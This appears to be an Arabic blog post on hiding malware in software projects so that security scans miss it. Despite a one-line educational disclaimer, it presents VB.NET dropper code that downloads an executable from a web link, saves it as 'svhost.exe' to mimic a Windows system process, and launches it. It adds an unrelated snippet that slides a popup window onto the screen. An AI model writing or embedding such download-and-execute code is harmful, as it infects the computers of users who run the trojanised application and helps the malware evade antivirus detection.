كيف يتم تلغيم المشاريع حتى بعد الفحص لا يتم كشفها

الهدف من هذه التدوينة  هو تعليمي فقط  وليس مساعدة تهكير الحواسيب ،  هذه الطريقة  منتشرة بكثرة بين  الملغيمين   لتفادي  فحص تطبيقاتهم  من قبل برامج الحماية 





virus 2017

The Code :


 
'in general declaration
 import system.net
 
 '=========================
 'in class or load form
 dim link as string = "http://domain.com/server.exe"'your direct link server or patsh
 dim serv as string = "c:/svhost.exe"'The path that you want to put a virus in it
    my.computer.network.downloadFile(link,serv)'download the server from internet
 proccess.start(serv)'star the server
  


The code of PopUp window :

  
 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Me.Visible = True
        Me.Opacity = 60
        Dim x As Integer
        Dim y As Integer
        x = Screen.PrimaryScreen.WorkingArea.Width
        y = Screen.PrimaryScreen.WorkingArea.Height - Me.Height

        Do Until x = Screen.PrimaryScreen.WorkingArea.Width - Me.Width
            x = x - 1
            Me.Location = New Point(x + 0.1, y - 0.01)
        Loop
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Me.Close()

    End Sub







Post a Comment

0 Comments